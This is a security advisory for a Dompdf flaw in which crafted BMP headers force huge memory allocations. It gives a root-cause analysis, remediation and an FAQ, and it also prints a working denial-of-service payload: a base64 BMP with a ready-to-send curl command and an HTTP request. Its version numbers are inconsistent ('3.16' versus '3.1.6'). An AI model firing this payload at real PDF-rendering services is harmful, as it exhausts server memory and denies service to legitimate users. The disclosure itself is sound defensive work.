CVE-2026-59941: Dompdf: Uncontrolled resource consumption based on declared BMP dimensions
Summary
dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.
Details Root cause The image is processed based on declared dimensions and type alone — no pixel budget: php // src/Image/Cache.php:131-134 list($width, $height, $type) = Helpers::dompdfgetimagesize($resolvedurl, $options->getHttpContext()); if (($width && $height && inarray($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) { throw new ImageException("Image type unknown", EWARNING); } For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields: php // src/Helpers.php:833-837 if (substr($data, 0, 2) === "BM") { $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data); $width = (int) $meta["width"]; $height = (int) $meta["height"]; $type = "bmp"; } At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists: php // src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2 if (functionexists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) { return $im; } // src/Helpers.php:940 — hand-rolled fallback $im = imagecreatetruecolor($meta['width'], $meta['height']); There is no maximum width/height or maximum total-pixel guard anywhere on this path. Source-to-sink 1. Attacker HTML reaches Dompdf::loadHtml() with <img src="data:image/bmp;base64,…"> (or any BMP src). 2. Dompdf::render() decorates frames; Frame\Factory marks <img> as an image; FrameDecorator\Image calls Image\Cache::resolveurl(). 3. Image\Cache::resolveurl() accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134). 4. During render, Adapter\CPDF::image() identifies the BMP and calls converttopng() (src/Adapter/CPDF.php:593). 5. converttopng() invokes Helpers::imagecreatefrombmp(), which allocates the full canvas — via the native imagecreatefrombmp() on PHP ≥ 7.2, or the hand-rolled imagecreatetruecolor() fallback otherwise.
PoC erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled. The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes: <html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html> (The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.) 1 — Direct conversion native imagecreatefrombmp exists: yes dompdfgetimagesize => 6000x6000 type=bmp imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file) Maximum resident set size: 160 MB (10x10 control: 24 MB) phppeak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memorylimit does NOT cap it The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memorylimit does not bound it. 2 — Full Dompdf::render() declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB 3 — HTTP reproduction (curl / Burp) Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch. curl: bash curl -s -X POST "https://TARGET/render" \ --data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \ -o /dev/null -w 'http=%{httpcode} time=%{timetotal}s\n' Burp Repeater (enable "Update Content-Length"): POST /render HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: text/html Connection: close <html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html> Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request): [ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s [CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).
Impact A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memorylimit does not contain it.
Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.
Other sources
Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/dompdf/dompdfto a version that resolves this vulnerability.Fixed in 3.1.6 - Upgrade
Upgrade
dompdfto a version that resolves this vulnerability.Fixed in 3.16
Event History
Frequently Asked Questions
What is the severity of CVE-2026-59941?
CVE-2026-59941 has a risk rating of 42, indicating it is a significant security vulnerability.
How do I fix CVE-2026-59941?
To fix CVE-2026-59941, update dompdf to version 3.1.6 or later as it contains the necessary patch.
What type of vulnerability is CVE-2026-59941?
CVE-2026-59941 is an input validation vulnerability related to BMP image processing in dompdf.
What impact does CVE-2026-59941 have on systems using dompdf?
CVE-2026-59941 can lead to denial of service by allowing large BMP images to be processed without proper validation.
Is CVE-2026-59941 specific to certain versions of dompdf?
Yes, CVE-2026-59941 affects older versions of dompdf prior to 3.1.6.